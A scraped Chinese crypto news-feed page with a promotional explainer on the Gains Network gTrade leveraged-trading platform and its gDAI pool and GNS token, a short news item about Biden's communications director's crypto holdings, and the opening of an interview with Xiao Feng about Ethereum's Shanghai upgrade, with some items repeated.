gDAI池是由之前的DAI池迭代过来的，gDAI池相对于DAI池有一个最大的特点，就是有了gDAI之后你可以做很多的事情，它成为了一个自动复利的ERC20的代币，拿着它你可以在Defi里面去玩各种各样的乐高组合。 gDAI池中所有的份额利润共享，损失共担。因为它是同质化的代币，不可能出现像之前FTX事件里面早一点去提款可以走，晚一点提款可能就走不了的情况，而且后面的人你要承受所有的损失。 前面提到有两种因素可以影响gDAI的价格。第一个因素是平台的收费，这是永远不会变的。只会在短期内在不足额抵押的情况下稍微下降一点，但这是短期的。当它的池子被补足，抵押率回到了100%以上的时候，你之前赚取的收益仍然属于你。 然后，这里有一个很有趣的点，就是图中第三条描述的激励机制。当抵押率不足时，它会为你提供一个非常好的买入gDAI的机会。为什么会这样？因为这个时候你购买的实际上是在帮助gDAI池子，所以你可以获得相应的收益。此外，在激励机制中，它会有一个折扣。通常情况下，抵押率保持在100%以上，在100~150%之间呈线性递减。抵押率越高，折扣率就越低。如果达到150%，就没有对应的折扣率了。 gDAI具有极强的可组合性。它是一个ERC20代币。通过锁仓，也就是通过时间限制来承诺一段时间内不会退出池子，用户还可以得到一个相应的折扣。但是这种情况下，用户持仓将以ERC721代币的形式表现出来。它是一个非常优质的抵押品首选，因为它的价值是稳步提高的，除非发生非常极端的黑天鹅事件。 此外，它有一个提款的时间锁，当抵押率小于110%的情况下选择提款，用户需要等待三个Epoch，一个Epoch是72小时，也就是9天的时间。 Epoch系统其实非常安全。一个Epoch是三天，前48小时是您唯一可以申请提款或者去提款的时间，最后一天会执行交易者的盈亏结算。因此，在整个Epoch中，当用户提款或申请提款时，他们实际上不知道Epoch协议是赚钱还是赔钱的。这样，抢先跑或抢现金的行为就不会发生。 三、GNS的应用场景 GNS是一个应用型代币，GNS和gDAI池之间的关系非常密切。当DAI的抵押率不足100%时，会开始铸造GNS，然后将其卖出以填补gDAI池的缺口。当超额抵押时，交易者盈亏收入的5%将用于回购这些GNS。 此外，还有一种情况会铸造GNS。这种情况涉及NFT机器人和推荐计划，他们为什么愿意参与呢？因为有收益，这种收益就是铸造出的GNS。但这些GNS不是凭空铸造的。它们的铸造完全来源于实际的收益——即gTrade平台的实际收益，即DAI。 但是，激励者们获得的不是DAI，而是GNS。这意味着，这些DAI将进入缓冲区，从而增加缓冲区的资产，并增强对gDAI池的保护。 总之，GNS的实际数量完全是动态的。它的铸造量取决于需求。需要铸造时它就会被铸造出来，需要销毁时它就会被销毁。只要其销毁量大于其铸造量，那么GNS就会通缩。它的铸造量每天有上限，即0.05%。因此，每年的最高通货膨胀率也只有18.25%。除非出现极端情况，否则不太可能达到这个上限。毕竟，抵押率不可能每天都小于100%。因为gTrade平台仍在赚钱，交易者仍在亏损，而这些收入每天都会被计算。 现在目前 GNS它的 inflation是负值的，这代表它的燃烧是大于铸造的。 四、NFT bots 刚才讲到的NFT bots，它的用途是用来执行所有在gTtrade上的自动功能，包括结算、清算、新加订单、take profit、stop loss等功能。 另外一个功能是，对于大型交易者，它可以降低交易的spread费用，这个其实是相当可观的，因此它的NFT现在非常昂贵。如果这些持有人有质押GNS的话，可以提升它们GNS的质押收益。一个钱包最多可以质押三个NFT，如果你持有的是Bronze、Silver和Gold三个NFT的话，你可以把它们加起来，2%+3%+5%就是10%，也就是说，如果你有质押GNS，可以提升10%的收益。如果你是做交易的，你将获得最高25%的折扣。 五、协议分红 GNS现在收益来源有两种，一种来自Market Order，另一种来自Limit Order。大致上70%收益来源是从它的Market Order获得来的，通过计算发现，GNS的质押者可以拿到平台收益的36%，gDAI流动性提供者可以拿到平台收益的18%，剩下的是发给项目发展开销、NFT bots以及联盟奖励。做个比较， GMX的质押者可以拿到平台收益的30%，流动性提供者可以拿到平台收益的70%。 对于GMX来说，流动性提供者承担的风险更大一些，LP必须承担交易者的盈亏带来的影响。但是在Gains Network上承受风险最大的则是GNS的质押者，当然他的收益也更高，他赚取的收益是流动性提供者的两倍。 总结 Gains Network通过引入gToken代币，为用户提供了一种全新的流动性池解决方案，并且处理了大量的交易量，显示了其流动性解决方案的高效性和可持续性。 Gains Network的成功在于其对用户需求的敏锐感知和对市场变化的快速反应。该平台不断推出新的解决方案，以满足用户的不同需求，并不断改进其现有服务，为用户提供更加完善的DeFi体验。 DeFi衍生品是比现货市场有更大业务机会的赛道，Gains Network在熊市环境下不断迭代，一路成长为去中心化杠杆交易赛道的头部选手，不管是交易量还是交易体验都深得市场的认可。相信随着gToken池的不断添加，gTrade会在竞争日益激烈的衍生品赛道捕获更大的市场份额。   ——End—— 数据源： https://dune.com/unionepro/Everthing-Gains-Network https://gains-network.gitbook.io/docs-home/ https://twitter.com/GainsNetwork_io  ( 5 min )
    全面解读Gains Network：走近去中心化杠杆交易的黑暗森林
    Author: Xiaona & Bee (Twitter:@llamabee1 ) Editor: Ashley &Sarah gTrade是Gains Network 推出的第一款产品，它是一个去中心化杠杆交易平台，目前部署在Arbitrum及Polygon上。 一、gTrade 核心特点 （一）合成流动性池 合成流动性池对于流动性池的高效运作至关重要。目前，gTrade采用的是基于DAI的合成流动性池（gDAI池）来扮演杠杆交易者的对手盘角色。这个流动性池的设计有几个特点：首先，它的合成机制可以使得资金使用效率更高。 其次，它的合成机制可以使得交易更加灵活。因为通过合成流动性池，gTrade可以提供更多的杠杆交易对，这意味着交易者可以更灵活地选择交易对，并可以根据市场情况进行交易。 最后gTrade的合成流动性池可以通过不同的合成机制来控制风险，例如通过调整杠杆倍数或者通过限制合成流动性池的规模等方式来降低风险。这样可以使得交易者和提供流动性者都可以更加安心地参与到交易中。 dydx采用orderbook机制，这种机制要求在链下储存orderbook，还需要做市商提供流动性，因此去中心化程度不高且资金效率低。 相比之下，gTrade的gDAI池避免了这些问题，并且无需为每个交易对设置流动性池。与GMX相比，虽然它们都使用流动性池提供流动性，但gTrade表现出了极高的资金效率。 以近7天的数据为例，gTrade的50m gDAI池TVL实现了913m的交易量，Volume/TVL为18。而GMX则以466m的GLP池TVL实现了2.2b的交易量，Volume/TVL为4.7。显而易见，在此期间，gTrade的资金效率是GMX的3倍以上。 然而，较高的资金效率也带来了一些风险，因此gTrade采取了多项保护措施。 （二）丰富的交易对 同时支持多种交易对及高杠杆是gTrade的又一重要特色。它是目前唯一一个支持91+交易对的链上杠杆交易平台，交易对覆盖加密货币、外汇和股票等三个方面。gTrade平台上外汇的杠杆可以高达1000倍，加密资产的杠杆可以高达150倍，这些都是目前GMX做不到的。 （三）自制预言机 gTrade用的预言机DON是创始人用Chainlink搭建的底层。DON有8个节点，通过7个不同交易所的API获取价格，对gTrade实时喂价。有效防止了价格操纵，也保证了价格的精确性。 中心化交易所会有插针的现象，这类情况在gTrade上就不会发生。因为他们所拿到的数据以及之后的执行都是在链上完成的，7个API和8个节点也将作恶的可能性降到最低。 （四）交易费用及保护机制 1.Fixed Spread 除了基础的Opening和Closing费用，gTrade还会额外收取一个Fixed Spread。对于BTC和ETH等大市值的加密货币、Forex及美股等这些比较难以操纵的资产，gTrade设定了一个固定的费用。 2.Price Impact Price Impact对gTrade的安全性有很好的保护作用，这是GMX没有的。正因为如此，GMX无法让用户做小币种的交易。如果一笔交易在场内平台上的Open Interest很高，但场外其他交易所流动性不高，这个Price Impact可能就会越大。 Luna事件发生时，gTrade团队本着去中心化的原则，坚持不干预Luna的交易与下架，最后市场掏空了平台的流动性，项目几乎陷入绝境。 Luna事件之后，平台增加了很多保护机制。其实，在有Price Impact费用的情况下，Luna事件对gTrade的影响比较有限，因为交易者必须支付高额的Impact费用。 3.Rollover Fee Rollover Fee会导致用户在持仓过程中始终要支付费用，而此费用与市场的波动性相关，即市场波动性越大，该费用就会越高。因为波动性越大，它对gTrade的影响就会越大，最终目的是让用户快速平仓。 最近，团队提高了Rollover Fee的收费。原因是团队计算出，如果有一些大型仓位在做对冲，而不提高Rollover Fee的话，他们可以在gTrade上以很低的成本做对冲并长期持仓，这将导致他们的Open Interest变得很少，就会很少人能够实际进行杠杆交易。因此，他们提高了该费用，这样这些人就无法一直长期持仓或以非常便宜的方式在gTrade上做对冲，这是Rollover Fee的另一个保护功能。 4.Funding Fee 与 GMX 最大的不同在于 Funding Fee，GMX 上的交易方式是，用户在进行杠杆交易的时候必须支付借贷费给 GLP 的流动性提供者。而在 gTrade 上，它以 Funding Fee 的方式来平衡做空和做多的交易者，所以持仓更多的一方会支付较少的费用。正是因为 Funding Fee 这种平衡做多和做空交易者的方式，gTrade 上的杠杆交易更加平衡和公平。 此外，gTrade 还有其他保护措施，例如最高收益为 900%，一笔交易最多只能赚取 900%，并在获得 900% 收益时自动平仓；如果用户的抵押品或本金损失达到 90%，它也会自动帮用户平仓。这些保护措施可以保证用户在进行高风险的杠杆交易时，不会承担过大的风险。 普通用户参与gTrade 一般可以使用如下几个功能： gTrade是一个杠杆交易平台，为擅长交易的用户提供一个良好的交易环境。同时，它也提供了许多其他的DeFi玩法。由于它是一个突破性的平台，因此您可以通过为其流动性池提供流动性来赚取收益。 gDAI池有许多特点，大多数单币种质押品提供流动性的杠杆交易平台往往面临着当交易者赚很多钱时亏损的风险。但是gTrade采取了多种机制来降低gDAI池亏损的风险，使其几乎接近于0。 此外，Gains Network还有自己的代币GNS，这是一个用途广泛的代币，将来将为平台赋能治理功能。目前，持有GNS代币可以将其存入Gains Network，分享平台收益。除此之外，在gTrade上进行各种类型的交易都是通过去中心化的NFT bot来执行的。因此，如果要进行相应的操作，就必须持有相应的NFT。 gTrade的目标用户是那些想要进行交易的人。如果您有相应的资源，也可以尝试申请Referral Program。 二、gToken流动性池 关于gToken流动性池，gDAI只是它的第一个抵押品，未来它还会加入gETH、gBTC以及gFrax、gLUSD等抵押品。 USDC 的风险确实造成了一些恐慌，这也激发了团队将这个需求排在更高的优先级。目前正在抓紧推出下一个较为去中心化的流动性池，如果下一个推出的是gETH的话，交易者可以用ETH作为抵押品，提供流动性的人可以获得ETH作为收益。 值得注意的是，与其他类似协议最大的不同点在于gTrade的结算方式。如果你是用一个以太来开单的话，你的交易对如果涨幅是10%，你的收益就是10%，以以太计算。与之相比，GMX 的杠杆交易结算方式是以 USD 价格来做的，但是支付给交易者的盈利处决于交易者是做多还是做空，如果交易者做多：GMX 会以他们做多交易的资产支付盈利；如果交易者做空：GMX 会以稳定币的方式支付盈利。 gToken的流动性运作方式是这样的：如果你是存款人要存入DAI的话，你拿到的收据就是gDAI，你把这个DAI放进去，拿到的是一个收据（这个其实是一个ERC20的代币，你可以用在其他的DeFi协议上）。如果你去提款的话，你把gDAI拿回去，它把gDAI烧毁，你可以拿出你的DAI。 目前gTrade只有gDAI这一种交易对，但值得关注的是，即使它现在只有5000万美元的gDAI，它已经处理了18倍的交易量。如果团队加入更多的抵押品，交易量还可以扩展更多，所以相比GMX，gTrade拥有更大的扩展潜力。 gToken特别在哪里？ 前面提到，它的gDAI池就是交易者的对手盘，也就是说如果交易者获利的话，他会从gDAI池里拿走DAI，如果交易者输钱，交易者的DAI就会进入流动性池。 当用户存入DAI的时候，可以从池子拿到收据gDAI，它代表着存款人在这个池子里的份额，有两个因素可以影响gDAI价格，第一个因素是交易累积的交易费，交易费是前面提到的opening和closing fee这两块，这部分永远只会上升。第二个因素是作为用户对手盘的盈亏，但只有在不足抵押的状况下，才会影响到gDAI的价格，因为它还有一个buffer的保护层。 gDAI价格计算方式还算简单，假设初始场景下池子有100个DAI，然后它的总gDAI的发行量是100个，现在一个gDAI价值就是一个DAI。如果现在平台赚入了150美金的收益，现在gDAI池里就有250个DAI，但是gDAI的发行量还是只有100个，这时候一个gDAI的价值是2.5个DAI。 那buffer是什么呢？要解释buffer，我们必须要理解它的gDAI池子的抵押率，它的抵押率会受交易者盈亏的影响，它的每一个Epoch会把交易者的盈亏结算下来，只要赚取的费用大于交易者盈亏的支出，那这个Epoch就会有正回报的收入。 如果我们去他们的网页看的话，在Vault、CR这个部分，把数据拉下来会看到很多数字，但有两个数字一个是TVL，另一个是Collateration抵押率，这两个数据差距比较高，它的差价就是它的buffer，它的保护层。要去计算它的CR的话就是把抵押品总值除以TVL，这个百分比就是它的buffer。 在Dune Analytics可以看到，在它gDAI池子的下面是100%的部分，而多出来的4%这个部分就是buffer，它的balance其实是比TVL还高一些，它有什么作用呢？主要作用就是吸收交易者的盈亏带来的影响。 当它的抵押率大于100%，交易者的盈亏对gDAI完全没有影响，只有在抵押率小于100%的时候，交易者的盈亏才会对gDAI开始有短期性的影响，这里必须要强调一下是短期性的。因为这个时候协议就会开始铸造GNS，并以OTC的方式卖成DAI，用以弥补这个gDAI池的亏损。 gDAI的流动性池基本上有三个保护层，第一个保护层是buffer，有了buffer交易者的盈亏对gDAI持有人没有影响。第二个保护层就是他的TVL，当buffer不见的时候交易者的盈亏才开始影响到gDAI的价格，但是这个时候GNS已经开始铸造，用来弥补这个池子的亏损。第三层是在GNS铸造的同时，平台还是正常运行的，一方面协议有收入，另一方面交易者可能会亏损来回补流动性池。最终以这三种方式把池子带回到100%。 gDAI池是由之前的DAI池迭代过来的，gDAI池相对于DAI池有一个最大的特点，就是有了gDAI之后你可以做很多的事情，它成为了一个自动复利的ERC20的代币，拿着它你可以在Defi里面去玩各种各样的乐高组合。 gDAI池中所有的份额利润共享，损失共担。因为它是同质化的代币，不可能出现像之前FTX事件里面早一点去提款可以走，晚一点提款可能就走不了的情况，而且后面的人你要承受所有的损失。 前面提到有两种因素可以影响gDAI的价格。第一个因素是平台的收费，这是永远不会变的。只会在短期内在不足额抵押的情况下稍微下降一点，但这是短期的。当它的池子被补足，抵押率回到了100%以上的时候，你之前赚取的收益仍然属于你。 然后，这里有一个很有趣的点，就是图中第三条描述的激励机制。当抵押率不足时，它会为你提供一个非常好的买入gDAI的机会。为什么会这样？因为这个时候你购买的实际上是在帮助gDAI池子，所以你可以获得相应的收益。此外，在激励机制中，它会有一个折扣。通常情况下，抵押率保持在100%以上，在100~150%之间呈线性递减。抵押率越高，折扣率就越低。如果达到150%，就没有对应的折扣率了。 gDAI具有极强的可组合性。它是一个ERC20代币。通过锁仓，也就是通过时间限制来承诺一段时间内不会退出池子，用户还可以得到一个相应的折扣。但是这种情况下，用户持仓将以ERC721代币的形式表现出来。它是一个非常优质的抵押品首选，因为它的价值是稳步提高的，除非发生非常极端的黑天鹅事件。 此外，它有一个提款的时间锁，当抵押率小于110%的情况下选择提款，用户需要等待三个Epoch，一个Epoch是72小时，也就是9天的时间。 Epoch系统其实非常安全。一个Epoch是三天，前48小时是您唯一可以申请提款或者去提款的时间，最后一天会执行交易者的盈亏结算。因此，在整个Epoch中，当用户提款或申请提款时，他们实际上不知道Epoch协议是赚钱还是赔钱的。这样，抢先跑或抢现金的行为就不会发生。 三、GNS的应用场景 GNS是一个应用型代币，GNS和gDAI池之间的关系非常密切。当DAI的抵押率不足100%时，会开始铸造GNS，然后将其卖出以填补gDAI池的缺口。当超额抵押时，交易者盈亏收入的5%将用于回购这些GNS。 此外，还有一种情况会铸造GNS。这种情况涉及NFT机器人和推荐计划，他们为什么愿意参与呢？因为有收益，这种收益就是铸造出的GNS。但这些GNS不是凭空铸造的。它们的铸造完全来源于实际的收益——即gTrade平台的实际收益，即DAI。 但是，激励者们获得的不是DAI，而是GNS。这意味着，这些DAI将进入缓冲区，从而增加缓冲区的资产，并增强对gDAI池的保护。 总之，GNS的实际数量完全是动态的。它的铸造量取决于需求。需要铸造时它就会被铸造出来，需要销毁时它就会被销毁。只要其销毁量大于其铸造量，那么GNS就会通缩。它的铸造量每天有上限，即0.05%。因此，每年的最高通货膨胀率也只有18.25%。除非出现极端情况，否则不太可能达到这个上限。毕竟，抵押率不可能每天都小于100%。因为gTrade平台仍在赚钱，交易者仍在亏损，而这些收入每天都会被计算。 现在目前 GNS它的 inflation是负值的，这代表它的燃烧是大于铸造的。 四、NFT bots 刚才讲到的NFT bots，它的用途是用来执行所有在gTtrade上的自动功能，包括结算、清算、新加订单、take profit、stop loss等功能。 另外一个功能是，对于大型交易者，它可以降低交易的spread费用，这个其实是相当可观的，因此它的NFT现在非常昂贵。如果这些持有人有质押GNS的话，可以提升它们GNS的质押收益。一个钱包最多可以质押三个NFT，如果你持有的是Bronze、Silver和Gold三个NFT的话，你可以把它们加起来，2%+3%+5%就是10%，也就是说，如果你有质押GNS，可以提升10%的收益。如果你是做交易的，你将获得最高25%的折扣。 五、协议分红 GNS现在收益来源有两种，一种来自Market Order，另一种来自Limit Order。大致上70%收益来源是从它的Market Order获得来的，通过计算发现，GNS的质押者可以拿到平台收益的36%，gDAI流动性提供者可以拿到平台收益的18%，剩下的是发给项目发展开销、NFT bots以及联盟奖励。做个比较， GMX的质押者可以拿到平台收益的30%，流动性提供者可以拿到平台收益的70%。 对于GMX来说，流动性提供者承担的风险更大一些，LP必须承担交易者的盈亏带来的影响。但是在Gains Network上承受风险最大的则是GNS的质押者，当然他的收益也更高，他赚取的收益是流动性提供者的两倍。 总结 Gains Network通过引入gToken代币，为用户提供了一种全新的流动性池解决方案，并且处理了大量的交易量，显示了其流动性解决方案的高效性和可持续性。 Gains Network的成功在于其对用户需求的敏锐感知和对市场变化的快速反应。该平台不断推出新的解决方案，以满足用户的不同需求，并不断改进其现有服务，为用户提供更加完善的DeFi体验。 DeFi衍生品是比现货市场有更大业务机会的赛道，Gains Network在熊市环境下不断迭代，一路成长为去中心化杠杆交易赛道的头部选手，不管是交易量还是交易体验都深得市场的认可。相信随着gToken池的不断添加，gTrade会在竞争日益激烈的衍生品赛道捕获更大的市场份额。   ——End—— 数据源： https://dune.com/unionepro/Everthing-Gains-Network https://gains-network.gitbook.io/docs-home/ https://twitter.com/GainsNetwork_io  ( 5 min )
    拜登的新通讯主管被禁止接触前加密客户，但可就加密监管向拜登提供建议
    PANews 4月23日消息，据彭博社报道，美国总统拜登将禁止其新任通讯主管Ben LaBolt参与涉及他之前代表的加密货币或技术公司的法律事务、调查或合同，这些公司包括Meta Platforms Inc.、风险投资公司Haun Ventures LLC和Shopify Inc.。但白宫周五表示，Ben LaBolt将被允许就总统监管加密货币和社交媒体公司的方法提供建议。 此外，根据最近发布的财务披露报告，Ben LaBolt还持有5万至10万美元的比特币和1.5万美元至5万美元的ETH 2。Ben LaBolt此前在Bully Pulpit Interactive工作时，他的客户包括Andreessen Horowitz（a16z）和Uniswap。  ( 1 min )
    拜登的新通讯主管被禁止接触前加密客户，但可就加密监管向拜登提供建议
    PANews 4月23日消息，据彭博社报道，美国总统拜登将禁止其新任通讯主管Ben LaBolt参与涉及他之前代表的加密货币或技术公司的法律事务、调查或合同，这些公司包括Meta Platforms Inc.、风险投资公司Haun Ventures LLC和Shopify Inc.。但白宫周五表示，Ben LaBolt将被允许就总统监管加密货币和社交媒体公司的方法提供建议。 此外，根据最近发布的财务披露报告，Ben LaBolt还持有5万至10万美元的比特币和1.5万美元至5万美元的ETH 2。Ben LaBolt此前在Bully Pulpit Interactive工作时，他的客户包括Andreessen Horowitz（a16z）和Uniswap。  ( 1 min )
    蓝驰创投Patrick对话万向肖风：以太坊的上海印记，从东方走向世界
    主持人：Patrick，蓝驰创投 嘉宾：肖风，万向区块链董事长及 HashKey Group 董事长 整理：Amber，Foresight News 本文为以太坊上海升级共学系列活动中，Patrick 与肖风线上对话的文字内容。 Patrick：我们今天和众多 DAO 组织准备了这样一个上海升级的系列活动。这个系列活动一方面是为了庆祝区块链，另一方面是纪念以太坊上海升级这一重大的里程碑，然后也是复盘一下以太坊网络中的华人力量，总结华人在以太坊链上的贡献。当然这都已经是过去的事情了，我们虽然常说不念既往，纵情向前，但我觉得历史的东西还是值得拿出来好好回顾一下的，回看以太坊过去的一系列重要时刻，肖风总一直是华人区块链行业的精神领袖，那么我们今天，很荣幸能和肖风总一起交流一下，分享一些这个行业过去发生的事。在开始之前，我先简单自我介绍一下，我叫 Patrick 刘勇，现在在蓝驰创投做 Web3 和 AI，尤其是 AI 应用层的投资，所以我也特别关注 crypto 和 AI 的结合。那么您要先说两句吗？还是我们直接问问题？ 肖风：对，就直接问题，也非常感谢你，给我这个机会。 Patrick：首先，您其实是在 2014 年进入中国的，您能不能简单花一两分钟跟大家描述一下，到现在为止的几个重要的里程碑事件。 肖风：其实我刚刚在群里发了一篇我写的文章，因为以太坊有一个英文传记在几个月前出版了，出版社之前把稿子给我看了一下，希望我写一个序。后来我一看，这本传记事欧美人写的，对以太坊和中国的关系，和上海的关系以及和中国社区、中国开发者的关系一笔带过。文章的名字叫以太坊的上海时刻。 Patrick：非常应景。 肖风：应该说在过去，尤其是以太坊刚开的那段时间，国内的社区和开发者反应很及时，对以太坊倾注了很大的资源和热情，包括 14 年翻译了很多以太坊相关的资料。我自己是从 2014 年开始了解以太坊，当时觉得这是一个非常伟大的构想。因为如果区块链它作为这样一个伟大的发明，不能允许别人在上面做开发或者不能做应用，那这将是一个巨大的损失。 因为它可能丧失，区块链技术也好，分布式账本也好，所能给社会、给商业，尤其是给人类带来的数字化进程。大家可能发现 ChatGPT 出来之后，数字化的进程可能突然一下加速了。这个数字化进程跟这些都有关系，就是分布式账本这些作为一个全球统一的网络，任何区块链网络上的创业行为，百分之百是面对全球客户的，因为你只要在区块链上做事情，就是在一个全球性的网络上做事情，就是在全球同一台计算机上做事情。实际上想想看，那就是一个数字世界，因为在数字世界里是没有时区，没有区域。这是区块链作为一个这样的去中心化网络，去中化的全球同一张网络和去中心化的全球同一张账本，这两个东西他真正是可能给人类社会带来巨大的改变，社会、商业、经济、生活都会带来巨大的改变。 这个改变有一个前提，就是你得允许大家在这个网络上，在这个账本上做不同的事情。显然比特币当初设想的就是一个全球货币，所以它没有打算在让大家在上面做事情，也没有智能合约，也没有这些东西。所以当初看见这么一个构想，确实很激动人心，在当时就有这样一个伟大的东西可以做这些事情，允许大家无需许可加入这个网络，其实是非常让人激动的。这些都是 14 年看到的，应该说当时的中国社区和开发者对这是很敏感的，所以有很多人开始去推介它，包括当时翻译出以太坊的那位，他也是从 14 年到中国来，开始学习中文的。 Patrick：2014 年 V 神到中国来，然后您当时也跟他谈了投资的事情，并且完成了这个投资。然后 2015 年是 Elon Musk 发起的 OpenAI，捐助了 1 亿美金进来，所以时间线上衔接得非常紧凑。您刚刚回顾了一路走来以太坊给您带来惊喜的地方，是不是还看到了不足的地方？因为我实际上从文章中看到了说他账户里也没有多少钱，而且大家是非常怀疑他的。那么回顾历史的时候，您看到他账户上究竟还剩多少钱？究竟遇到了什么样的信任危机。 肖风：第一，我跟他相见是在 15 年的时候，虽然我们是在 14 年的 12 月份了解到他，有一次在公开论坛上，我有一个演讲专门介绍以太坊。当这个新闻传开之后，我才跟他联系上，他也是在 2015 年 3 月才到上海，不是以太坊众筹的时间。 Patrick：这就更有趣了，这刚好和 OpenAI 成立的时间一样。 肖风：以太坊是 15 年 7 月份主网上线的。前面说 15 年的这两个对人类社会有巨大影响的技术系统都是 15 年开始的，但很可惜的是他们都发生在美国，不发生在中国。当时其实也没有什么，就是在主网没上线之前，基金会与那些手中的 Token 是锁定的，大概账户上是 1800 万美元，然后在花到一定程度之后账户上还是有钱的，我记得当时账户上应该还有 300 万美元。 毕竟主网还没有上线，大家会问这些钱还够不够？事实上，当时是没有面临性能危机的。那就有人还是会问，你这钱能不能支撑到主网上线？如果不能的话，怎么办呢。正好当时 Vatalik 也在上海，正好到我们办公室来。然后当时听说他昨天晚上在开会，来自各方的声音都在问他怎么解释，他并没有当场回答。我当时听说了这个事情，其实当时并不是为了投资，而是为了这样一个伟大的事情，帮助这个年轻人，我们都是真的只想帮助他。 我们当时的想法也很简单， 首先，我们可以给出 50 万美元的现金，其次我们也向社区表明了，在给出 50 万美金之后，我们还可以进行持续的支持。 Patrick：这个相当于是持续的 backup。 肖风：对对，我们跟以太坊基金会签订了这样的捐赠协议并把钱给到对方之后，以太坊基金会承诺在主网上线他们的 Token 能够解锁的时候，按照我们捐赠时的价格把 Token 给到我们。我们当时的想法就是，支持他们，万一主网上不了线，也没什么关系，我们算是支持了这样一个伟大的构想，并没有用投资的角度去想它。 Patrick：对，这个事情还挺像 Elon Musk 当时创立 OpenAI 的思想。最开始也是想做成一个 social venture。我们蓝驰创投专门也有一个做 social venture，也就是叫作社会风险资本。这种 social venture 不以商业为目的，其实您当时投资的首要出发点也并不是商业，对吧？ 肖风：是的，我们当时真的没有想到商业。这也是为什么以太坊这次的升级被命名为上海升级，这都是一个承诺，所以当初我们说了会持续的投资。当然后来结果很好，以太坊主网上线如期进行，一天都没有拖延，在主网上线之后，以太坊基金会其实财政状况没有任何问题，那个时候它有很多的钱。那么在 15 年年底或者 16 年年初的时候，Vitalik 又到上海来，我说我们是答应过的，16 年我们还会给持续地给以太坊基金会支持。后来以太坊基金会包括 Vitalik 本人都说，现在以太坊已经不需要额外的资金支持了。我说你不需要当然很好，但是我说我们万向区块链实验室的承诺并不是吹牛，我们一定要把它圆了。所以我们就提议，将 Devcon 放到上海来开，那么全程费用由万向区块链实验室提供，所有的门票和赞助收入归以太坊基金会。我们是打算通过这样的方式继续履行承诺，继续支持以太坊基金会。 Patrick：这是另外一个支持方式，一方面，最开始是钱，后来不需要钱了之后，现在实际上是对生态的支持。 肖风：对，我们就是希望中国的工程技术人员能有一次机会去参到一个聚集了全球开发者的大会，去听听大家的讨论。以太坊现在大部分的发展方向或者已经实现的发展，在上海 3 天的 Devcon 上都有很前沿的讨论。经过那次 Devcon 之后我们内部有一个共识，就是以太坊的 Devcon 是一定要去参加的，他讨论的是未来 2 年、3 年区块链技术发展的趋势，然后可能需要花 2 年、3 年甚至 5 年才能实现的，但是你要是想真正了解区块链技术，你一定要去参加 Devcon，认真听完之后就知道未来几年区块链技术的发展趋势是怎么样的。这也是上海升级的一个来源。 Patrick：说到 Devcon，其实从 Devcon0 到 Devcon1 再到 Devcon2 包括还有后面的，再有万向每年还在举办万向区块链周。在我的印象中，Devcon 确实培养出很多人来，在以太坊的生态中，万向也是做出了非常大的贡献的。当然跟万向或者以太坊相关的其他人也做出了很多贡献，您能不能在这里讲一讲别的贡献的故事，也提醒一下我们这些后辈年轻人。 肖风：中国以太坊社区是很早就很活跃的。然后当然首先是 14 年的时候大家开始推介它，众筹的时候也有很多中国人参与，后来就有以太坊社区。Vitalik 本人在 17 年之前来中国的次数也很多了，因为整个社区跟以太坊基金会和 Vitalik 有非常密切的联系，这里面有很多人都做了很多事情，有些我并不全部掌握，因为大家都在北京、杭州、上海、深圳、成都，而且不同社区的人也在做不同的努力。有工程技术这边最早期的核心开发者，像谢函健；石海华投入了很大精力在中国、法国等地方做社区建设；我们也在其中做了一点点事情；像咕噜、巨蟹他们去翻译文章。当然还有很大一块是以太坊的矿工，矿工本来就是很有中国特色的东西，因为比特币的矿工主要也是在中国，矿工这块我不是很熟悉，但他们也是确确实实地为以太坊的发展作出巨大贡献的。 Patrick：那您和 V 神相知相识也很深了，如果让您对让他的特征进行概括的话，您会用哪些关键词呢？ 肖风：我觉得他的关键词如果用比较形象的话，就他跟 Elon Musk 是差不多的怪人。一定是个怪人。Elon Musk，首先，你看他住很小的房子，其次他可以两个月住在工厂里，最早收购 Twitter 之后，他也就在办公室里弄个床。这个很像 Vitalik，一个对生活没有很高诉求的人。最初 15 年他到上海来，他就住在沈波家里，第二次来就找了个类似如家的酒店，每次来都住上半个月一个月，社区邀请他，他就去杭州一趟，结束了他就又回到上海。所以他就是一个对这方面没有什么感觉的人 Patrick：所以其实他的物质需求是很低的，他自己心怀星辰大海，但我也看到那里面就是您专门给他买了一个猫的摄影器。 肖风：对的，他是喜欢猫，很多宅男包括码农，都是特别喜欢猫的。 Patrick：嗯，对的，就是猫这个事情在以太坊的发展里起到了什么作用吗？其实我还专门去小小地研究了一下，CryptoKitty 里面有一只很贵的猫，坊间传闻那个是 V 神的猫。 肖风：那我还真的不知道了，但是猫呢，对 Crypto 圈也好，码农圈也好，宅男圈也好，是大家比较喜欢的一个宠物。 Patrick：OK，那下面有一个问题，我觉得还是挺敏感的，但我确实想听听您的想法。就是 V 神对于您的评价或者对万向区块链、Hashkey 的评价是怎样的，希望能用几个关键词来展现。 肖风：我们都没有讨论过对彼此的评价，所以我也不能代他来说这个话。首先，万向区块链的实验室，我们当时邀请他做我们的首席科学家，他很乐意，他也希望在国内除了有社区来推动以外，也有我们这样的一个区块链实验室作为一个更正式的机构一起来推动。万向区块链的实验室最早期的时候是在做三件事。一是去培训，原先最早的 Blockchain 黑客马拉松是在 16 年 1 月份，Vitalik 不仅全程参加，而且我们从以太坊社区，从欧美来了三个导师。这三个导师是最早帮助万向区块链实验室去建立自己的培训师资队伍的，这三个人是专门在上海工作过一段时间的。因为中国社区为以太坊做出了很多贡献，那么这实际上是以太坊和 Vitalik 本人反过来对中国企业的回馈。他也是为中国社区的建设做了很多贡献的，包括当初我们去开小的培训班，做黑客马拉松，他自己每年都来参加我们在上海的区块链峰会。 Patrick：所以他还是感恩的，这个关键词还是有，感恩。 肖风：也不能这样讲，大家还是互相支持的，这一点很好。所以说，我们个人之间，没有说你对我评价什么，我对你评价什么。但是在去年，传记的中文版《点对万物》出版之后，我写的传记被大家传开了，Vitalik 当时也看到了那个，并且委托当时和他一起吃饭的一个人联系到我，谈了我写的序，说 Vitalik 好几年没见到我了，很想念我。应该说，大家认识了这么长一段时间，尤其是在早期的时候，大家一起非常勤奋地做一件同样的事情，所以确实很难忘。 Patrick：在共苦之后，现在就应该是同甘的时候。当然说到现在，就是简单的两个小问题，那么关于上海升级，究竟想解决什么问题？他们离以太坊的终极目标究竟还有多远？ 肖风：我觉得最早的上海升级其实很早就开始讨论了，那当然是一个从 ESG 的角度，从 PoW 转成 PoS，解决碳排放的问题，这肯定是最初的驱动力。我的个人看法觉得另外一个就是要解决公链的性能问题。解决公链的性能问题最初并没有很清晰的解决方案，最早从 16、17 